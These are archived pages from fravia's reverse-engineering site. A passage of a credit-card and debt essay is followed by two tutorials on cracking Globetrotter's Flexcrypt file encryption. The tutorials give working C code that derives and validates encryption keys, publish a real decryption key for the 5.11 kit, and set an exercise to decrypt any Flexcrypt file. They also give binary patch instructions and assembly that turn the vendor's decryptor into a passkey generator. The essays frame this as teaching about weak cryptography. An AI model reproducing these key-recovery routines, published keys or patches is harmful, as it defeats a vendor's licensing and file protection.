Devil". A squadron of Lightnings shot down Admiral Yamamoto over the Pacific in 1943.

Another child of Lockheed was conceived in 1958. It became the SR-71 Blackbird, a spy plane instead of
a war plane. Its maximum speed is still classified but is acknowledged as being capable of 2350 mph at
80,000 feet.

If engineers were capable of these feats 60 and 40 years ago, how can yearly variations in machines that
roll along the ground at less than 100 mph possibly be exciting. Going into debt to buy useless variations
in automobiles is economic insanity. Retooling factories to make parts that are shaped differently but not
technologically different increases the cost and therefore the price of consumer products. From 1908 to
the mid 1920's the Ford Motor Company made the same machine, the Model T. When introduced the
Model T sold for $850. By the time it was discontinued in the mid '20's the price was less than $300 and
15,000,000 had been manufactured. If the engineering capability that designed the Lightning had been
combined with manufacturing philosophy that produced the Model T to manufacture cars in the '50's,
how good a car, at how low a price could have been sold by 1960?

In an economic wargame society it is necessary to know how to keep score and the tactics of the enemy.
An individual's wealth is indicated by his or her net worth. Net worth is assets minus liabilities. Assets
are anything which can be assigned a monetary value that can be realized by selling the item. Liabilities
are debts which have to be paid eventually. So maximizing assets and minimizing liabilities are basic
objectives. However, all assets are not created equal. Some assets maintain or even increase their value
over time while others leak like a sieve. If an asset is so expensive one has to go into debt to purchase it,
then it is important to know how long the asset lasts; how rapidly it depreciates. Financial advisors tell us
that a home is the most expensive purchase that most Americans ever make, followed by automobiles.
Hopefully the value of ones home will increase but the value of a car can only decrease. By not
supplying reliability and durability data on their products auto makers are leaving consumers in the dark
and engaging in information hiding.

If auto manufacturers produced lower cost, longer


lasting cars by eliminating useless design and brand variations (Chevys and Pontiacs are both by General
Motors), then the savings on cars could be applied to home mortgages. A $100,000 mortgage over 30
years at 8% will ultimately cost $264,153.60, that's $164,153 in interest alone. By paying an additional
amount each month a mortgagee can reduce the total interest paid and eliminate years of payments.

Regular Payment: $733.76 Total Interest: $164,153.60

Extra Amount.... #....Approx....Total Amount of


.. Added Each Pmt.. Pmt.. Yr..Mo....Interest..Saved

http://www.instinct.org/fravia/creditca.htm (3 of 6) [2/7/2001 3:27:59 PM]


creditca.htm Economic Wargames and credit card stupidity

$.... 0.00.... 360.. 30.. 0.... $........0.00


50.00.... 287.. 23..11........ 39,907.13
100.00.... 242.. 20.. 2........ 62,458.66
150.00 ....212.. 17.. 8........ 77,433.46
200.00 ....189.. 15.. 9........ 88,262.94

Paying an extra $200/mo. nearly cuts the time in debt in half while saving $88,000 in interest. But the
money for that extra payment has to come from somewhere. Cars and credit cards are two possibilities.

In 1983 I read a letter that a bank sent to its


stockholders. The bank informed its owners that it encouraged the customers to take as long as possible
to pay back their loans. This will of course maximize the time over which interest is charged, thereby
maximizing the dividends to the stockholders. My bank recently sent me a credit card bill of $0.00 even
though it should have been over $100. Their
explanation was:

"There is no minimum payment due because lastmonth's payment exceeded the minimum payment due.
Your normal payment schedule will resume nextmonth. Finance charges will continue to accrue if the
new balance is not paid in full by the due date."

They're content to charge me interest while "graciously" allowing me to "save" money by not paying
them one month. Apparently I'm paying them faster than they would prefer. Making minimum payments
on credit cards means being in debt for years and paying 2 to 3 times the purchase price for everything
bought with the cards.

There is no limit to how dumb consumers are expected to be, some company named Providian keeps
sending me an application for a Visa "Classic". It has a $500 limit, 23.99% interest, a $49 application fee,
a $59 annual fee and they have the NERVE to say it's a limited time offer. It's the third time I've gotten
the offer, I don't see how it could get worse in the future. If some fool were to take this offer and make
minimum payments of 3% per month with this interest rate of 2% per month that would amount to
approximately $180 + $49 + $59 = $288 paid in the first year and still leave a bill of $440. How many
dummies do they find every month?

Buying "assets" that depreciate rapidly with credit cards is screwing oneself coming and going, and the
stockholders get to laugh all the way to the bank.

In the mid-1940's John von Neumann, a Hungarian-American mathematician, began inventing and
applying game theory to economics. This "game theory" seems to bestuck in academic never-never land
and is rarely mentioned in the real world. Lester Thurow, an MIT economist, made implications about it
in his book, "The Zero-Sum Society". A zero-sum game is one in which every gain by a "winner" is
matched by an equivalent loss by a "loser". A bank's stockholders may be winners while the credit card
customers could be losers. One man's liability is another man's asset. The global economic wargame is
virtually inescapable. If most worker/consumers don't know how to keep score it is a good bet there are
going to be a lot of losers. According to one web site 50% of Americans have a net worth of less than
$10,000. Two independent sources claim that more than 60% of the people that get bill consolidation
loans to eliminate high interest debt, proceed to charge up their credit cards again.

http://www.instinct.org/fravia/creditca.htm (4 of 6) [2/7/2001 3:27:59 PM]


creditca.htm Economic Wargames and credit card stupidity

The Bible says:

The rich rule over the poor,


and the borrower is the slave
of the lender.
Proverbs 22:7

This bluntly states the power that wealth gives to those who possess it. To increase this power banks send
out millions of "slave" cards anually. The famous statement, "Freedom requires constant
vigilance" is usually assumed to apply to political freedom but it is even more applicable to economics.
Having to make rent or mortgage payments every month and possibly credit card payments means
maintaining a source of income, usually a job. Wargames are inherently unstable. Companies get bought,
companies go out of business, jobs can be lost.

Our educators constantly talk about preparing students for the workforce though businessmen regularly
complain about potential employees not being sufficiently skilled. Our colleges eagerly promote statistics
which indicate that higher education leads to higher salaries. That's fine for the income side of the
equation but how much attention is devoted to the expense side? How many high-school graduates know
what net worth is, or understand amortization schedules? What good does it do if our educators only
create competent employees who then get fleeced of their hard earned cash? Or could it be that our
educators are another set of fleecers? I once saw a TV program which interviewed people who told
employers they had college degrees but had actually lied. Many of them worked for years, got raises and
promotions. What do you need to know to pretend you have a degree in psychology, or history, or
english literature?
Spend a few months reading some decent books and who'll know the difference? Was it 60 Minutes? I
can't recall. Of course this was years ago and cheap computers and telecommunication have probably
made verification of education much easier. This may not work today. Could it be I'm getting too
cynical?...
...Nahh!

I'm getting tired of typing so before signing off I'll just suggest doing a little web browsing to check stuff
for yourself, like von Neumann and game theory and P-38 Lightnings. You might check out a few books
too:

The Screwing of the Average Man


by David Hapgood
out of print but still locatable

Your Money or Your Life


by Joe Dominguez and Vicki Robin
too pollyannaish but has its priorities straight

Mastering the Art of War


translated & edited Thomas Cleary
more detailed than the following, get this first

http://www.instinct.org/fravia/creditca.htm (5 of 6) [2/7/2001 3:27:59 PM]


creditca.htm Economic Wargames and credit card stupidity

The Art of War by Sun Tzu


translated Thomas Cleary
wargamers training manual, time tested

So, to misquote that Vulcan that never explained what it meant to prosper, "Live long and good luck in
the economic wargame". No, that's no good, Vulcans don't believe in luck. Make that, "Live long and use
killer tactics (in the economic wargame)".

Dal Timgar

If you approve of the contents of this essay, feel free to copy, email or otherwise distribute.

The truth is a virus, spread the contagion.

dal_timgar@zensearch.net

Choose another page!

homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/creditca.htm (6 of 6) [2/7/2001 3:27:59 PM]


flex2_45.htm: Reversing Globetrotter's Flexcrypt (Key Extraction and Encryption Algorithm Reversing)

Reversing Globetrotter Flexcrypt


Key Extraction and Encryption Algorithm
Reversing Advanced

17 September 1999 by Nolan Blender


Courtesy of Fravia's page of reverse engineering
Encryption Algorithm Reversing... yumm! And Nolan Blender
is showing here a very "professional" approach that will
benefit all reversers (and all protectors) alike: this is not a
fra_00xx reading for the casual cracker, though. Newbies beware.
980917 Even if Nolan Blender's didactic approach, with questions
Nolan Blender and answers, will be very useful for ANYONE seriously
0110 interested in cryptoreversing.
AD Woa! "Cryptoreverser"... sounds like Cryptreverser, scary
PC eh?
On a sidenote: Many essays like this one went evidently lost
in my "great August floods" of Yahoomail. Please re-send.
There is a crack, a crack in everything That's how the
light gets in
Rating ( )Beginner (X)Intermediate (X)Advanced ( )Expert

Here we extend the excellent work by Pilgrim (pilgrim2.htm: Pilgrim's Further FlexCrypt analysis, see also
flexm11.htm: FlexLm handy hints and pflexlo1.htm: FlexLock...less secure than the rest of FLEXlm) on the workings of
Flexcrypt. The true value here is not in the keys or files that you will be able to generate after reading this essay, but in
understanding how weak algorithms can compromise security. I will provide information so that seekers of knowledge
can understand and reproduce what has been revealed (for there is no substitute for doing) but this is not truly required
for getting some value from this essay.

Reversing Globetrotter Software's Flexcrypt


Key Extraction and Encryption Algorithm Reversing.
Written by Nolan Blender

Introduction
Flexcrypt is used by Globetrotter to try to prevent unauthorized parties from acquiring information and examining it.
From a cryptographic point of view, the capability of this software is not adaquate. The "key" which is provided in most
cases is an authorization code only, and does not contain cryptographic information required to decode the encrypted file
- it is only an index into a table of existing keys which are stored within the executable. Two methods of attacking this
program will be described. The first method is an attack on the key generator. The second method examines the
algorithm used in the encryption.

Tools required
http://www.instinct.org/fravia/flex2_45.htm (1 of 10) [2/7/2001 3:28:05 PM]
flex2_45.htm: Reversing Globetrotter's Flexcrypt (Key Extraction and Encryption Algorithm Reversing)

dde | softice
Some patience.

Target's URL/FTP
ftp://ftp.globes.com

Program History
Little is known about the origin of this program. Analysis of the design of the program shows that it is a modification of
the licensing software, and was probably used to proved "secure" distribution of software to authorized customers and
third parties.

Essay
The information provided here doesn't provide much additional ability to decode over Pilgrim's essay on Flexcrypt. That
essay provides enough information to decode flexcrypted files. After reading this essay, it should be apparent that the
security provided for the encrypted files is minimal, and this program should not be used for anything that requires even
minimal security. Reading and understanding this essay will give you the ability to generate flexcrypt keys using
makekey and to write programs that are capable of automatically decoding flexcrypted files.
The first attempt at building a key generator used vendor keys extracted from the global data area of the running
program, and converted to version 6. An area matching the fc_keytab was found, and an fc_keytab table was generated
that would produce an identical table to the one in core. I could not get the Globetrotter version 6 makekey program to
generate keys that would work with the version 5.11 version of flexcrypt. I decided that obtaining the correct version of
flexcrypt would be required.
The version 5.11 flexcrypt kit is not encoded with that version of flexcrypt - an older variant is used. The methods that
Pilgrim used to extract the keys, such as breaking in sprintf statements, was used to extract a set of possible keys. There
is no checksum confirmation process for that earlier version of flexcrypt, so a file for each of the decrypted strings was
generated, then a decompression attempt was done on each of the files. Two files passed the full decompression test,
corresponding to entry 32 in the decryption table. One of the entries was for the specific host that I was decrypting on,
the other key was for ANY host.
The key to decode the flexcrypt 5.11 kit is 5537-2182-6912-6163-32 - I provide this so that interested parties can follow
along.
The locations where the encryption keys xored with vendor_key5 were both 0, so I didn't worry about these yet. I built a
trial makekey program with the kit, using vendor keys extracted from the global memory area. Vendor_key5 was derived
from a custom program, although the standard technique of using l_svk to extract this key would work as well.
The compiler aligns the structure so that each element will start on a word boundary, and then pads the rest of the
structure with nulls. The pattern that I saw showed a pattern of xxxxxxxx xx000000 when I used my own data, so I
looked for a similar pattern in core. I used the pattern that they suggest in their mycode.c file. The val1/val2 keys were
extracted from the core file, and fed through the following program. 0xfe9f9a1d is actually vendorcode 5 for this
product.

40001560: 6E20746F 20737464 6F75740A 00000000

http://www.instinct.org/fravia/flex2_45.htm (2 of 10) [2/7/2001 3:28:05 PM]


flex2_45.htm: Reversing Globetrotter's Flexcrypt (Key Extraction and Encryption Algorithm Reversing)

Here we see the start of the vendorcode structure...


V
00040000 00000000 00000000 36448C29
40001580: AFD74F22 875F072B 53EDC41B 00000000

Start of fc_keytab structure.


V
16B658E8 F5000000 B590444E 56000000
400015A0: FE239DE3 1D000000 8D0C8951 6E000000
2BE6A5B7 C8000000 C6DFD6E5 25000000

Once we have extracted the keys, they were organized into k1,k2 pairs, and then XORed with vendorkey5.

#include<stdio.h>
main()
{
unsigned long val1;
unsigned long val2;
char instr[1024];
int i = 0;

while (fgets(instr,1024,stdin)) {
sscanf(instr,"%x %x", &val1, &val2);
val1 = val1 ^ 0xfe9f9a1d;
val2 = val2 & 0xff ^ 0x1d;
printf (" { 0x%08x ^ K1, K2(0x%02x)}, /* Offset %d */\n", val1, val
2,i);
i++;

}
}

The key table and the vendorcode values extracted from core are added to mycode.c, and then makekey generates correct
decoding values. Vendor defined encryption is used to generate the decoding keys. lc_crypt() is used to generate a key,
then it appears that custom modifications are done to the result by fc_crypt(). It may be possible to completely reverse
the key generation mechanism, however this isn't required to decode the files.

Attacking the FLEXcrypt algorithm itself.


The algorithms that encode data in FLEXcrypt are very weak. There is a strong relationship between input and output
data, and it is possible to derive the encryption key from a single plaintext/ciphertext pair. The process used to generate
the real encryption keys use data more than once, making it possible to mostly verify whether a key is valid or not. Very
little additional functionality was gained by cracking the algorithm, except for some minor convenience in figuring out
the encryption code offset. It is satisfying to know exactly how something works, and to be able to reproduce the
operation of a program completely. The attack on this part of the algorithm is independent of the attack on the makekey
program. To decode the files with this method, vendorkey5 and the values of fc_keytab aren't required, only the real
encryption key, and this can be be extracted from the encrypted file.

http://www.instinct.org/fravia/flex2_45.htm (3 of 10) [2/7/2001 3:28:05 PM]


flex2_45.htm: Reversing Globetrotter's Flexcrypt (Key Extraction and Encryption Algorithm Reversing)

The Approach
The first part to reversing flexcrypt was to write a test program that called the actual encryption routines. The constituent
files of the libraries were extracted, and encrypt.o was replaced by a test program which called the encryption code
directly. This somewhat simplified the debugging process, and allowed modification of individual calls to library
functions. The first call of interest is to fc_string_crypt.
The first key derivation comes in the fc_split_code() routine. This one was of interest as it took in data from fc_keytab,
and the index into the encryption table. This indicated that it was involved in the key generation process. This routine
takes the 40 bit key found in fc_keytab and merges them with VENDOR_CODE5 to produce a 64 bit key. The 64 bit key
is the actual key used in the encryption operations. l_svk (which extracts VENDOR_CODE5 from the other 4 vendor
codes) is actually called from within fc_split_code(). Here is a subroutine that has the same functionality, but it takes
vendorcode5 as an argument.

/*******************************************************************************
*
* my_split_code
*
* This routine generates a split code (a full 64 bit key) from
* vendorcode5 and the input key (first 5 bytes).
* this was modified from the original code, and doesn't
* reflect exactly how fc_split_code works, but the algorithm
* is the same.
*
* inkey (input) 40 bit input key.
* vc5 (input) 32 bit vendorcode5 key
* outval(output) 64 bit split code.

********************************************************************************/
int my_split_code(char *inkey, char *vc5, char *outval)
{
unsigned long keys[8];
unsigned long dbytes[5];
unsigned long xorbytes[4];
int i;

/* Load keys */
for (i = 0; i < 4; i++) {
keys[i] = (unsigned long) (vc5[i] & 0xff);
}
/* Load data */
for (i = 0; i < 5; i++) {
dbytes[i] = (unsigned long) (inkey[i] & 0xff);
}
/* Build XOR'ed values */
for (i = 0; i < 4; i++) {
xorbytes[i] = dbytes[i] ^ keys[i];
}
outval[0] = xorbytes[3];
outval[5] = xorbytes[2];
outval[2] = xorbytes[1];

http://www.instinct.org/fravia/flex2_45.htm (4 of 10) [2/7/2001 3:28:05 PM]


flex2_45.htm: Reversing Globetrotter's Flexcrypt (Key Extraction and Encryption Algorithm Reversing)

outval[7] = xorbytes[0];
outval[4] = dbytes[4];
outval[1] = xorbytes[1] ^ xorbytes[0]; /* Redundant rule 1 */
outval[6] = xorbytes[3] ^ dbytes[4]; /* Redundant rule 2 */
outval[3] = xorbytes[2] ^ xorbytes[1]; /* Redundant rule 3 */
return(0);
}
The three redundant rules allow us to check to see if the split code is correct with a very high degree of certainty. Why
this is important will be demonstrated shortly.
The next interesting routine is fc_block_crypt. Calls to this routine were intercepted, and the arguments before and after
the call were examined. The following observations were made.
The routine was called with the split code as the key and an 8 byte mystery string.

The next call was called with the split code as the key, and split_code XORed with the first 8 byte data block as
data.
The next call had the previous block XORed with the current data as input, and that was passed to encrypt block.

This was repeated until the end of the file.

The cipher is using cipher block chaining with the key as the initialization vector. I suppose some improvement could be
had by using a random IV, but other weaknesses are still there to be exploited.
A special flexcrypt header is written to the output file, then the encrypted blocks are written sequentially to the output
file.
What was that mystery code? As it turns out, it is the encryption offset turned into a string using this highly secret
algorithm:

sprintf(keystring, "%02x%03d%03d", offsetval,


offsetval, 255-offsetval);
What this means is that there are 256 possible plaintexts which can match the ciphertext. Since the encryption algorithm
is so simple, it is a simple matter to extract the key given a plaintext/ciphertext pair. here is the encryption algorithm.

/*****************************************************************
*
* my_block_crypt:
* this routine is is a combination permute/xor
transformation.
* inkey(input) input encryption key
* dval(input/output) block to be transformed.

*****************************************************************/
int my_block_crypt(char *inkey, char *dval)
{
unsigned long keys[8];
unsigned long dbytes[8];
int i;

/* Load keys */
for (i = 0; i < 8; i++) {
keys[i] = (unsigned long) (inkey[i] & 0xff);
}

http://www.instinct.org/fravia/flex2_45.htm (5 of 10) [2/7/2001 3:28:05 PM]


flex2_45.htm: Reversing Globetrotter's Flexcrypt (Key Extraction and Encryption Algorithm Reversing)

/* Load data */
for (i = 0; i < 8; i++) {
dbytes[i] = (unsigned long) (dval[i] & 0xff);
}

dval[0] = dbytes[7] ^ keys[3];


dval[1] = dbytes[5] ^ keys[5];
dval[2] = dbytes[4] ^ keys[1];
dval[3] = dbytes[2] ^ keys[7];
dval[4] = dbytes[6] ^ keys[2];
dval[5] = dbytes[3] ^ keys[4];
dval[6] = dbytes[0] ^ keys[0];
dval[7] = dbytes[1] ^ keys[6];
return(0);
}
Therefore

/*****************************************************************
*
* my_recover_key:
* recover key from a plaintext/ciphertext pair.
*
* nfb 22-aug-1999 - initial coding.
*

*****************************************************************/
int my_recover_key(char *plaintext, char *ciphertext,
char *outkey)
{
unsigned long ptext[8];
unsigned long ctext[8];
int i;

/* Load plaintext */
for (i = 0; i < 8; i++) {
ptext[i] = (unsigned long) (plaintext[i] & 0xff);
}
/* Load data */
for (i = 0; i < 8; i++) {
ctext[i] = (unsigned long) (ciphertext[i] & 0xff);
}

outkey[3] = ptext[7] ^ ctext[0];


outkey[5] = ptext[5] ^ ctext[1];
outkey[1] = ptext[4] ^ ctext[2];
outkey[7] = ptext[2] ^ ctext[3];
outkey[2] = ptext[6] ^ ctext[4];
outkey[4] = ptext[3] ^ ctext[5];
outkey[0] = ptext[0] ^ ctext[6];
outkey[6] = ptext[1] ^ ctext[7];
return(0);
}

http://www.instinct.org/fravia/flex2_45.htm (6 of 10) [2/7/2001 3:28:05 PM]


flex2_45.htm: Reversing Globetrotter's Flexcrypt (Key Extraction and Encryption Algorithm Reversing)

Once we have the key, we can see if it's valid. This code validates the returned keys.

int my_validate_key(char *inval)


{
int i;
unsigned long dbytes[8];

/* Transfer bytes */
for (i = 0; i < 8; i++) {
dbytes[i] = (unsigned long) (inval[i] & 0xff);
}
/* Redundant rule 1 */
if (dbytes[1] != (dbytes[2] ^ dbytes[7])) {
return(-1);
}
/* Redundant rule 2 */
if (dbytes[6] != (dbytes[0] ^ dbytes[4])) {
return(-1);
}
/* Redundant rule 3 */
if (dbytes[3] != (dbytes[5] ^ dbytes[2])) {
return(-1);
}
/* All OK, return 0 */
return(0);
}
The real decryption key can be located by cycling through the 256 possible indexes, checking to see if the resulting key
passes validate_key, and using that key if one is found. If multiple keys are found, try the keys and check the output data.
Most likely, one and only one key will be found. From this point it is a simple matter to decrypt the file a block at a time,
and you will have your plaintext data.

Final Notes
Flexcrypt 5.11 does not offer very much protection to encrypted files. Cracking the program and the algorithms that it
uses to encode files provides some useful insight into methods that can be used to attack encryption programs.

FlexLM is only minimally involved in this product, providing only the authorization process, and part of the key used to
decrypt or encrypt files.

Here are some of my comments.

Decryption keys used to decode files should actually contain private information that is required to decode the file. In
this case, the keys are stored within the decryption executable, reducing the problem to one of pure cracking and some
trial and error if the data is all that is required.

A combination of weak encryption and known data encrypted into the header makes it possible to write automatic
decryptors for any file encrypted by this program.

If the designers of this program had not distributed the keys with the decryptor, used a random initialization vector, and
used even a little bit stronger encryption algorithm, the program would be much more resistant to direct attack.

http://www.instinct.org/fravia/flex2_45.htm (7 of 10) [2/7/2001 3:28:05 PM]


flex2_45.htm: Reversing Globetrotter's Flexcrypt (Key Extraction and Encryption Algorithm Reversing)

Questions:

1. Why should encryption algorithms rely on strong design rather


than design secrecy?

2. Why should encryption algorithms be resistant to known


plaintext attacks?

3. Why should encryption programs avoid encrypting known data


such as headers into files?

4. Why did the NSA approve this program for export?

5. Describe the decrypt_block algorithm.

Answers:

1. Since there is always the possibility that the encryption


process may be made available to cryptanalysists, it is
highly unlikely that the actual encryption algorithm will
remain secret. Once the algorithm is known, any security
from algorithm secrecy is lost.

2. There is often a stereotyped beginning and/or ending to


a message. If the algorithm isn't resistant to known plaintext
attacks, the encryption key can be derived from the
plaintext/ciphertext pairs, and the message can be decoded.

3. This simplifies brute force attacks. If a ciphertext/plaintext


pair is known, it may be possible to extract the key, depending
on the strength of the algorithm. Although encryption algorithms
should provide protection against this, weaknesses in implementation
may cause security weaknesses. Questions 2 and 3 are closely
related.

4. The real key length is short enough, and the algorithm weak
enough that it can easily be broken, thus providing no
secrecy advantage to foreign powers.

5.
int my_block_crypt(char *inkey, char *dval)
{
unsigned long keys[8];
unsigned long dbytes[8];
int i;

/* Load keys */
for (i = 0; i < 8; i++) {
keys[i] = (unsigned long) (inkey[i] & 0xff);
}

http://www.instinct.org/fravia/flex2_45.htm (8 of 10) [2/7/2001 3:28:05 PM]


flex2_45.htm: Reversing Globetrotter's Flexcrypt (Key Extraction and Encryption Algorithm Reversing)

/* Load data */
for (i = 0; i < 8; i++) {
dbytes[i] = (unsigned long) (dval[i] & 0xff);
}

dval[0] = dbytes[7] ^ keys[3];


dval[1] = dbytes[5] ^ keys[5];
dval[2] = dbytes[4] ^ keys[1];
dval[3] = dbytes[2] ^ keys[7];
dval[4] = dbytes[6] ^ keys[2];
dval[5] = dbytes[3] ^ keys[4];
dval[6] = dbytes[0] ^ keys[0];
dval[7] = dbytes[1] ^ keys[6];
return(0);
}

Exercise:

Write a program to decrypt any file encrypted with Flexcrypt 5.11.

Other notes
Some of the code which seems wasteful of cycles is to deal with big endian/little endian issues.
Only limited testing was done. It is possible that there are conditions which could yield incorrect results.

Utilities
This code writes a file for chosen plaintext attacks. It isn't really part of this project, it is provided only for convenience
and for verification.

#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>

main(int argc, char *argv[])


{
int fd;
unsigned long data[4];
int i;

data[0] = 0x00000001;
data[1] = 0x00000010;
data[2] = 0x00000200;
data[3] = 0x00000400;

if (argc != 2) {
fprintf(stderr, "Usage: wrdata file\n");
exit(1);
}
if ((fd = open(argv[1], O_RDWR|O_CREAT, 0755)) < 0) {
fprintf (stderr, "Failed open of %s\n", argv[1]);

http://www.instinct.org/fravia/flex2_45.htm (9 of 10) [2/7/2001 3:28:05 PM]


flex2_45.htm: Reversing Globetrotter's Flexcrypt (Key Extraction and Encryption Algorithm Reversing)

perror("open");
exit(1);
}
for (i = 0; i < 1; i++) {
if (write(fd,(void *) data, 16) != 16) {
fprintf (stderr, "Failed writing block %d to %s\n", i, argv[1]);
perror("write");
exit(1);
}
}
close(fd);
printf ("Done.\n");
}

Other notes
Version 6.1 of Flexcrypt uses the SAME algorithms, however the keys required for decrypt are different. The real keys
used to encrypt the file are the same though.

Ob Duh
I wont even bother explaining you that you should BUY programs if you intend to use them for a longer period than the
allowed one. Should you want to STEAL software instead (unlikely in this case :-) you don't need to crack protection
schemes at all: you'll find everything on most Warez sites, complete and already regged, farewell, don't come back.

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links search_forms +ORC how to protect academy database


reality cracking how to search javascript wars
tools anonymity academy cocktails antismut CGI-scripts mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/flex2_45.htm (10 of 10) [2/7/2001 3:28:05 PM]


pilgrim2.htm FlexLmPC: Further FlexCrypt analysis

Back to protec

The second part of Pilgrim's Flexcrypt studies, see pilgrim.htm: Pilgrim's How to crack a PC-based
FlexLm license manager, read and enjoy!
Courtesy of fravia's pages of reverse engineering

Further FlexCrypt analysis


==========================

pilgrim 7th January 1999

Introduction
============

Globetrotters FlexLm has been discussed by Siul+Hacky and myself


previously.
One of the first stages in analysing FlexLm is to crack the encryption
used to package it:
FlexCrypt.
FlexCrypt is produced by Globetrotter Software Inc
and seems to share may commonalities with FlexLm.
This document analyses the FlexCrypt en/de-cryption program to a stage
that allows decryption of any FlexCrypted package.
This in turn leads into some interesting areas worthy of further
investigation.

Tools required
==============

IDA ( 3.75 used in example )


W32DASM ( V8.9 used in the example )
Install-shield decompiler ( isdcc V1.1 used in example )
HexEditor ( Hiew V5.66 used in example )

Targets URL
===========

http://www.globetrotter.com
ftp://ftp.globes.com

Recommended files

http://www.instinct.org/fravia/pilgrim2.htm (1 of 12) [2/7/2001 3:28:10 PM]


pilgrim2.htm FlexLmPC: Further FlexCrypt analysis

=================

For a full explanation you'll need to download two files: flexlm5.12


and flexlm6.1

ftp://ftp.globes.com/flexlm/v5.12/windows/flexmin.exe ( 4,088,198
Bytes )
ftp://ftp.globes.com/flexlm/v6.1/windows/flexlm.exe ( 7,873,894 Bytes )

The site also contains many other flexcrypted files to practise on.

FlexCrypt basics
================

FlexCrypt uses a rolling XOR based scheme to encrypt a file.


It uses the same key on 8 bytes, recalculates the key, then continues
through the file.
The key is in some way based on the passkey you must find for correct
decryption.
The passkey is of the format xxxx-xxxx-xxxx-xxxx-nn
where the x are hexadecimal numbers and nn ranges from 00 to 99 decimal.
The hex numbers are in some way related to your PC ( hard disc number
/ network card number ).
The nn specifies which of 100 keys was used to encrypt the file.
Only one nn value decrypts the file correctly.
There is a table which stores 100 passkey related values in the
decryption executable.
There are many versions of FlexCrypt available, but there is basically
a 16bit and 32bit.
Both use the same encryption method.
32 bit introduces a file header with some sort of file/passkey check
data included.
All FlexCrypt files may easily be decrypted correctly using the 32 bit
decryption program.
The decryption program is packaged with the install files and is
usually called something
like cryptwin.exe
Command line options for decrypt.exe:
-p xxxx-xxxx-xxxx-xxxx-nn : the passkey
-t Z *.fc : decrypt all .fc extension files to files with .Z extension
-d n : debug mode, n can take values 1,2,3 each displaying differing
formats of debug info

Stage 1 : how to decrypt the files


===================================

http://www.instinct.org/fravia/pilgrim2.htm (2 of 12) [2/7/2001 3:28:10 PM]


pilgrim2.htm FlexLmPC: Further FlexCrypt analysis

Run the install.exe from the downloaded FlexLm 5.12.


This will extract all the files needed for the install.
Run setup.exe
You'll be asked for the FlexLm decryption key in the format
xxxx-xxxx-xxxx-xxxx-xx
Cancel the install.
We see a setup.ins file : installshield is here
Use isdcc to decompile the install script.
Have a look for the text we saw earlier, xxxx-xxxx-xxxx-xxxx-xx, and
we see:

AskText("Please enter in your decryption key. It should be of the


form xxxx-xxxx-xxxx-xxxx-xx . If you do not have this key, you can
obtain it by calling Globetrotter Software at (408) 370-2800 If you
do not have a key at this time, please press cancel to end t",
"xxxx-xxxx-xxxx-xxxx-xx", string15);
Sprintf(lString1, "%scryptwin.exe", SRCDIR);
Sprintf(lString2, "Decrypting files, this may take some time");
function11(lString2, 1);
Sprintf(lString0, "-w %s -p %s -t Z *.fc", SRCDIR, string15);

This decodes to:

cryptwin.exe -p xxxx-xxxx-xxxx-xxxx-xx -t Z *.fc

where xxxx-xxxx-xxxx-xxxx-xx would be the numbers you type.


-p option is password
-t is convert *.FC into *.Z type

So rename cryptw~1.exe to it's full title, cryptwin.exe, and try


cryptwin.exe -p 0000-0000-0000-0000-00 -t Z *.fc
We end up with zero length Z files. Not too good.

Cryptwin is 16-bit, so let's use IDA to dissassemble it.


At this moment I'm interested in command line options so let's have a
look.
Searching for -p gives us a function at loc_8B6_6C which looks like a
command line parser.
It seems to also accept -x -o -i -e and -d options
What's -d? debug? There's references to DEBUG in the exe, let's try it.
A bit of experimenting shows there are 3 debug levels, with varying
outputs,
1 writes a log file, 2 displays on the screen, 3 uses pop-up windows.

Stage 2 : Get a valid passkey


=============================

http://www.instinct.org/fravia/pilgrim2.htm (3 of 12) [2/7/2001 3:28:10 PM]


pilgrim2.htm FlexLmPC: Further FlexCrypt analysis

32 bit's easier to debug than 16 bit so let's abandon FlexLm 5.12 for
now and try FlexLm 6.1

Clear the Windows\Temp directory and run the FlexLm 6.1 install.
When prompted for the key press cancel and copy all the files into
another work directory.

Let's try cryptwin.exe -d 3 -p 0000-0000-0000-0000-00 -t Z *.fc again.


Again we end up with a zero length Z file.
Dissasemble cryptwin.exe using W32DASM.
Load the program with the command line options -p
0000-0000-0000-0000-00 -t Z *.fc
Put a break-point on the reference to "%.4d-%.4d-%.4d-%.4d"
Run to the break point then single step.

* Possible StringData Ref from Data Obj ->"%.4d-%.4d-%.4d-%.4d"


:00405E2F 6870B04200 push 0042B070
:00405E34 BE60F34200 mov esi, 0042F360
:00405E39 56 push esi
:00405E3A E8A1840100 call 0041E2E0
:00405E3F 83C418 add esp, 00000018

In this case there's a call to 0041E2E0 which returns esi pointing to


the processed string,
which looks something like:

[esi+00000000] - 7375
[esi+00000004] - -553
[esi+00000008] - 2-55
[esi+0000000C] - 21-5
[esi+00000010] - 871.

This string appears to be related to machine specific items such as


hard disk number
and network card number. This string is the first four numbers of a
potentially valid
passkey. The last two digits are the key number used in the test. In
this case 00.

OK, we have a key to try, it's 7375-5532-5521-5871-00


So let's try cryptwin.exe -d 3 -p 7375-5532-5521-5871-00 -t Z *.fc
Again, an error message and a zero file.

We need to repeat the above process using keys 00 to 99 as the last


two digits in the password.

http://www.instinct.org/fravia/pilgrim2.htm (4 of 12) [2/7/2001 3:28:10 PM]


pilgrim2.htm FlexLmPC: Further FlexCrypt analysis

This would be a very slow process using DASM.


So modify the cryptwin program to generate a file with a name of each
passkey.

Stage 2a: auto generate the passkeys


====================================

Copy your original cryptwin.exe to something else, I used dcrypt.exe.


Using your favourite hexeditor, modify dcrypt.exe as follows:

1) Just after esi points to the passkey string, jump to some unused
code space:

Replace
:00405E3F 83C418 add esp, 00000018
:00405E42 57 push edi
:00405E43 E80C000000 call 00405E54
With
:00405E3F 83C418 add esp, 00000018
:00405E42 E9E1B9FFFF jmp 00401828

2) At this unused space, 00401828, replace the existing code with:

:00401828 6A00 push 00000000


:0040182A 6880000000 push 00000080
:0040182F 6A01 push 00000001
:00401831 6A00 push 00000000
:00401833 6A03 push 00000003
:00401835 68000000C0 push C0000000
:0040183A 8BC6 mov eax, esi
:0040183C 50 push eax
* Reference To: KERNEL32.CreateFileA, Ord:0030h
:0040183D E8CC760200 Call 00428F0E <- create the file
:00401842 50 push eax
* Reference To: KERNEL32.CloseHandle, Ord:0017h
:00401843 FF15BC324300 Call dword ptr [004332BC] <- close
the file handle
